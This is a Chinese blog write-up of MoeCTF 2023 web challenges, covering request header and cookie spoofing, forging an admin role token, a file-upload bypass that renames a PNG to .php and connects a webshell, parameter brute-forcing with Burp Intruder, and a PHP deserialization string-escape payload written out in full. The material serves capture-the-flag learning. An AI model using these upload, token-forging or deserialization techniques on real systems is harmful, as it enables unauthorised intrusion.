• [MoeCTF 2023] web题解



    web

    http

    连接到本地后,题目给了我们任务
    在这里插入图片描述

    1. 第一个是要求我们GET传参UwU=u
    2. 第二个是要求我们POST传参Luv=u
    3. 第三个是要求我们cookie值为admin
    4. 第四个是要求我们来自127.0.0.1
    5. 第五个是要求我们用MoeBrowser浏览器

    在此之前先要学会用bp抓本地包
    我们win+R打开cmd,然后输入

    ipconfig
    
    • 1

    将下面的ip复制,把题目的localhost改掉,即可抓本地包
    在这里插入图片描述
    bp抓包,添加我们的参数,得到flag

    在这里插入图片描述

    cookie

    打开题目,按照给的提示
    我们先到./register,POST传参json数据

    {
        "username":"dog",
        "password":"123456"
    }
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    然后再到./login登陆一下

    {
        "username":"dog",
        "password":"123456"
    }
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述查看./flag,结果不行
    在这里插入图片描述
    尝试注册admin用户发现已存在,结合提示可以修改cookie值
    抓包./status,将token解码发现是加密过的

    在这里插入图片描述我们修改一下roleadmin,再次编码,尝试在./status替换原来的token
    然后访问./flag发现还是不行,于是直接访问./flag抓包修改cookie值
    得到flag

    在这里插入图片描述

    彼岸的flag

    打开题目(F12发现巨佬博客,原来是web前端知识)
    发现有问题
    在这里插入图片描述

    直接选取元素,得到flag
    在这里插入图片描述

    moe图床

    文件上传类型的题目
    然后F12发现只允许上传png格式

    if (!file){
       alert('请选择一个文件进行上传!');
       return;
    }
       const allowedExtensions = ['png'];
       const fileExtension = file.name.split('.').pop().toLowerCase();
       if (!allowedExtensions.includes(fileExtension)) {
          alert('只允许上传后缀名为png的文件!');
          return;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    分析一下

    const allowedExtensions = ['png']; 
    
    • 1

    定义了一个名为 allowedExtensions 的数组,其中包含允许上传的文件扩展名。在这个例子中,只允许上传扩展名为 ‘png’ 的文件。

    const fileExtension = file.name.split('.').pop().toLowerCase(); 
    
    • 1

    从 file 对象中提取文件扩展名。它使用 split() 方法根据点 (.) 分隔符将文件名拆分为数组,并使用 pop() 获取结果数组的最后一个元素,该元素表示文件扩展名。toLowerCase() 方法将文件扩展名转换为小写,以进行大小写不敏感的比较。

    这样看只需要我们上传的文件名里面包含png的拓展名即可绕过
    前提,我们还只能上传png绕过js前端检测

    我们创建1.png

    
    
    • 1

    然后bp抓包修改文件名为1.png.php,上传成功
    在这里插入图片描述

    然后蚁剑连接

    在这里插入图片描述

    得到flag

    在这里插入图片描述

    大海捞针

    打开题目,给了提示
    在这里插入图片描述应该说的是GET传参id可以连接到不同宇宙,id的值从1到1000
    一个个找太麻烦了,结合提示
    在这里插入图片描述应该是要爆破
    我们直接bp抓包丢到instruder,添加payload位置
    在这里插入图片描述
    设置payload集为从1到1000

    在这里插入图片描述开始爆破,发现?id=676的长度最特殊,猜测有flag
    在这里插入图片描述
    我们直接访问,发现是另外一道题彼岸的flag出现过的
    直接查看页面源代码,搜索一下得到flag
    在这里插入图片描述

    夺命十三枪

    源代码

     ';
    
    try{
        echo unserialize($after);
    }catch (Exception $e) {
        echo "Even Caused A Glitch...";
    }
    ?>
    Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"Nobody";}
    Far away from COOL...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    我们再看下Hanxin.exe.php

      "Lovesickness",
            "di_er_qiang" => "Heartbreak",
            "di_san_qiang" => "Blind_Dragon",
            "di_si_qiang" => "Romantic_charm",
            "di_wu_qiang" => "Peerless",
            "di_liu_qiang" => "White_Dragon",
            "di_qi_qiang" => "Penetrating_Gaze",
            "di_ba_qiang" => "Kunpeng",
            "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
            "di_shi_qiang" => "Overlord",
            "di_shi_yi_qiang" => "Letting_Go",
            "di_shi_er_qiang" => "Decisive_Victory",
            "di_shi_san_qiang" => "Unrepentant_Lethality"
        );
    
        public static function Make_a_Move($move){
            foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
                $move = str_replace($index, $movement, $move);
            }
            return $move;
        }
    }
    
    class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
    
        public $Chant = '';
        public $Spear_Owner = 'Nobody';
    
        function __construct($chant){
            $this->Chant = $chant;
            $this->Spear_Owner = 'Nobody';
        }
    
        function __toString(){
            if($this->Spear_Owner !== 'MaoLei'){
                return 'Far away from COOL...';
            }
            else{
                return "Omg You're So COOOOOL!!! " . getenv('FLAG');
            }
        }
    }
    
    ?>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    分析一下

    1. 我们先看到出口Omg_It_Is_So_Cool_Bring_Me_My_Flag.__toString(),只要满足Spear_Owner为MaoLei就可得到flag
    2. 往前推,当使用echo或者print输出对象时会调用此方法,源代码的echo 'Your Movements: ' . $after . '
      ';
      刚好满足

    但是我们实例化Omg_It_Is_So_Cool_Bring_Me_My_Flag()后,可以发现Spear_Owner的值我们是修改不了的。这就是个问题,我们怎么做到修改一个不可被修改的值呢

    关键点在于Deadly_Thirteen_Spears.Make_a_Move(),同时结合我们的目的,我们可以利用字符串逃逸来实现绕过

    我们先随便传入test
    在这里插入图片描述我们的目标是

    O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"MaoLei";}
    
    • 1

    我们尝试把";s:11:"Spear_Owner";s:6:"MaoLei";}写到Chant里面,然后把后面的部分挤掉
    同时长度变为4+35

    O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:39:"test";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}
    
    • 1

    这时候我们利用替换前后长度差与之相等
    这里我选的是构造7*(di_qi_qiang),因为当它被替换后长度差为5,5*7刚好为我们要的
    只要做到下面这样就可以得到flag,长度为39+35

    O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:74:"di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}
    
    • 1

    所以payload为

    ?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
    
    • 1

    得到flag
    在这里插入图片描述

  • 相关阅读:
    subline ts 环境配置
    vim相关命令讲解!
    [Linux安装软件详解系列]04 安装Redis
    分布式集群理论
    微服务技术
    A study of graph-based system for multi-view clustering
    渗透测试流程是什么?7个步骤给你讲清楚!
    Ultra-Fast-Lane-Detection 车道线学习资料整理
    即时通讯开发之MobileIMSDK-Web介绍
    【多线程】线程安全的集合类
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/132272978